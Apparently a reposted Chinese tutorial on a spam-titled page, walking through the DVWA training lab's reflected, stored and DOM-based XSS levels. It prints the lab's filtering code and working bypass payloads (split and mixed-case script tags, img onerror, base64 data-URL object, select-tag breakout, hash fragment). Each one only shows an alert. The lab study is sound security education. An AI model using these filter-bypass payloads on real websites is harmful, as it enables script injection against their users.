当前位置: 首页 > wzjs >正文

驻马店北京网站建设wordpress 无广告视频

驻马店北京网站建设,wordpress 无广告视频,网站排队队列怎么做,东莞营销网站建设费用一、XSS攻击 1.1. XSS 攻击简介 XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,它允许攻击者在受害者的浏览器中执行恶意脚本。攻击者通常通过在Web应用程序中注入恶意脚本代码(如JavaScript&…

一、XSS攻击

1.1. XSS 攻击简介

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,它允许攻击者在受害者的浏览器中执行恶意脚本。攻击者通常通过在Web应用程序中注入恶意脚本代码(如JavaScript),并在用户访问该页面时执行这些代码。

1.2. XSS 攻击类型

XSS 攻击通常分为以下三种类型:

  1. 存储型 XSS(Stored XSS):

攻击者将恶意脚本注入到服务器的数据库或其他存储位置。当用户访问含有恶意脚本的页面时,脚本会在其浏览器中执行。
例如,攻击者在一个评论区提交恶意代码,服务器将该代码存储并返回给所有访问该页面的用户。
2. 反射型 XSS(Reflected XSS):

攻击者将恶意代码附加到URL中,诱使用户点击。服务器将这个恶意代码反射回用户的浏览器,在页面加载时执行脚本。
例如,攻击者通过邮件或社交媒体发送一个包含恶意脚本的链接,用户点击后脚本在其浏览器中执行。
3. DOM-based XSS:

在客户端(浏览器端)通过 JavaScript 操作 DOM(文档对象模型)时,恶意脚本会被注入并执行。攻击者通过操控页面上的 JavaScript 来实现攻击。
这种类型的XSS攻击不依赖服务器端的输入验证,而是直接通过客户端代码的漏洞来注入恶意脚本。

二、DVWA靶场-Vulnerability: Reflected Cross Site Scripting (XSS)

2.1 LOW

直接输入最简单的payload:测试是否存在XSS漏洞,大多数XSS漏洞可以利用该种方法检测。测试代码如下,在输入框输入如下代码,并提交。

<script>alert("hello xss")</script>

在这里插入图片描述
弹窗提示,因此发现存在反射型XSS风险。

在这里插入图片描述

2.2 Medium

  1. 将等级改为Medium后,再次输入以下脚本测试:
<script>alert("hello xss")</script>

发现Medium等级应该对script进行了处理。
在这里插入图片描述
2. 查看Medium源代码,分析具体对script进行了哪种处理

 
// Reflected XSS Source
// vulnerabilities/xss_r/source/medium.php
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>

代码分析:这里很明显看得出来,是对<script>字符进行了过滤,使用str_replace()函数将输入中的<script>替换成为空,于是需要我们想办法绕过过滤字符。

  1. 破解

(1)双写绕过

<scr<script>ipt>alert("hello xss")</script>

(2)大小写绕过

<ScRipt>alert("hello xss")</ScRipt>

在这里插入图片描述
提交后,弹窗提示,xss破解成功
在这里插入图片描述

2.3 High

  1. 将等级改为High后,再次输入以下脚本测试:
<scr<script>ipt>alert("hello xss")</script>

提交后,显示如下。发现High等级应该对script进行了处理。
在这里插入图片描述
2. 查看High源代码,分析具体对script进行了哪种处理

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?> 

代码分析:针对特殊符号,均有过滤,使得双写绕过以及大小写混淆绕过失效。(正则表达式中的i表示不区分大小写)。
3. 破解方法

script标签失效,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

(1)采用img标签转换后的XSS payload:

<img src = 1 onerror = alert(/xss/)>

(2)使用DATA URL进行XSS:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

其中的PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=就等同于<script>alert('xss')</script>

三、Vulnerability: Stored Cross Site Scripting (XSS)

3.1 Low

  1. 在界面输入经典payload,发现name框对输入长度有限制,因此将payload转而输入message框,发现可以成功注入。
<script>alert("hello xss")</script>
  1. 手动更改Name输入框的长度,修改maxlength = "100",然后在name框输入经典payload,发现对长度已经没有限制
    在这里插入图片描述
<script>alert("hello xss")</script>
  • 提交后,XSS攻击成功

3.2 Medium

  1. 尝试使用经典的方法,发现之前经典的payload方法失败
    在这里插入图片描述
  2. 查看源码
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

对源码分析:

  • strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。
  • addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
  • message参数使用了htmlspecialchars函数进行编码,无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了
  1. 考虑对name输入框进行xss注入

(1)首先需要手动更改Name输入框的长度,修改maxlength = "100"

(2)绕过方式,类似于反射型XSS

  • 双写绕过
<scr<script>ipt>alert("hello xss")</script>
  • 大小写绕过
<ScRipt>alert("hello xss")</ScRipt>
  • 使用非script标签的xss payload。
<img src = 1 onerror = alert(/xss/)>

3.3 High

High等级的name输入框使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
(1)手动更改Name输入框的长度,修改maxlength = "100"

(2)使用非script标签的xss payload注入,注入成功。

<img src = 1 onerror = alert(/xss/)>

四、Vulnerability: DOM Based Cross Site Scripting (XSS)

4.1 Low

  1. 观察主页面,可以看到页面的功能是让我们选择默认的语言,但是这里又没有对default参数没有进行任何的过滤。
    在这里插入图片描述
    因此,我们在这里构造XSS代码,在default参数后面写入脚本,构造访问连接:
?default=<script>alert("hello xss")</script>

在这里插入图片描述
访问后弹出,XSS攻击成功
在这里插入图片描述

4.2 Medium

  1. 过滤了<script,那么我们可以用图片插入语句法:
?default=<img src =1 onerror = alert('dom')>

此时没有出现任何的变化,界面没有反应。这个时候查看网页的源代码:
在这里插入图片描述

可以看到我们输入的脚本语句被插入进了value值中,没有插入到option标签的值中,所以我们语句当中的标签就没有起到作用,因此不会弹窗。

我们改进我们的语句,尝试将前面的标签闭合,注入成功

?default=</select><img src =1 onerror = alert('dom')>

在这里插入图片描述
在这里插入图片描述

  1. 我们还可以直接在English值的后面直接进行拼接,页面也能直接出现弹窗
?default=English</select><img src =1 onerror = alert('dom')>

4.3 High级别

  1. 字符 # 绕过服务端过滤

url中有一个字符为#,该字符后的数据不会发送到服务器端,#后面的内容是对浏览器的操作,不会发送到http请求当中去,从而绕过服务端过滤。因此可以这样构造连接:

?default=English#<script>alert('high!!!')</script>

在这里插入图片描述
点击提交刷新页面后,出现弹窗:
在这里插入图片描述

五、参考资料

  1. DOM-based XSS参考

文章转载自:

http://e1Cs56X1.ypcxs.cn
http://RZRcbMea.ypcxs.cn
http://TrgZ3at7.ypcxs.cn
http://rOfBtLFS.ypcxs.cn
http://mFyVprS1.ypcxs.cn
http://rFM0qNqI.ypcxs.cn
http://DJh41e09.ypcxs.cn
http://LNrPS54Z.ypcxs.cn
http://qChTvghN.ypcxs.cn
http://Y8GknXKI.ypcxs.cn
http://kBtn6gRo.ypcxs.cn
http://OlDq3crT.ypcxs.cn
http://19bzhyK2.ypcxs.cn
http://kX6JWoBH.ypcxs.cn
http://CLOAbskZ.ypcxs.cn
http://RsCnZScM.ypcxs.cn
http://xmFKzH52.ypcxs.cn
http://e8QtmA2t.ypcxs.cn
http://u6n5dv7J.ypcxs.cn
http://ttmDXqax.ypcxs.cn
http://J4as5oRs.ypcxs.cn
http://enXd1TZD.ypcxs.cn
http://eitq0ycE.ypcxs.cn
http://MATbZMbz.ypcxs.cn
http://D78lQckq.ypcxs.cn
http://Nc5T1ljR.ypcxs.cn
http://fLMx9Bdu.ypcxs.cn
http://Eo1AOF9b.ypcxs.cn
http://rtaF6fiM.ypcxs.cn
http://W0Y6hlDZ.ypcxs.cn
http://www.dtcms.com/wzjs/661072.html

相关文章:

  • 怎样在建设部网站上查公司信息佛山网站建设哪个
  • 网站建设编码公司网站图片传不上去
  • 北京海淀工商局网站阳江人才招聘网官网
  • 在凡科做网站本地网站做不大
  • 自己可以做百度网站吗佛山推广系统
  • 网站做百度推广需要什么材料小网站托管费用
  • 滁州网站建设工作室网站编辑的工作内容
  • 公司网站建设任务书做矿业的郑州公司网站
  • 全国做网站公司前十名有了域名空间怎么做网站
  • 云闪付当前页面设计隐私长春网络推广长春seo公司
  • 做网站一般用什么系统凡客v 网上商城
  • nft制作网站花瓣网设计网站
  • 素材匹配网站青岛 机械 中企动力提供网站建设
  • 网站开发总监招聘企业网站快速备案服务
  • 百度站长平台论坛北京企业网站怎么建设
  • 中国建设银行陕西分行网站设计师在线接单
  • 北京通州住房和城乡建设部网站阿里巴巴logo图片
  • 大连开发区网站开发公司电话wordpress文章链接带问号
  • 智慧旅游网站开发与设计与实现备案网站域名查询
  • 怎样做网站api接口苏州网站制作推广
  • 章丘市网站建设seo路由器映射做网站稳定吗
  • 做网站公司昆明毕业设计如何用dw做网站
  • 哪些网站可以免费做代码怎么做漫画网站
  • html工具软件福州seo优化排名推广
  • 汽车网站建设开题报告成都市住房和城乡建设厅网站
  • 网站资讯创作展厅布局设计平面图
  • 罗湖住房和建设局网站3d虚拟人物制作软件
  • 安阳网站推广公司做交易平台网站
  • 一个空间可以放几个网站wordpress付费电台
  • 时尚类网站建设电子商务网站的类型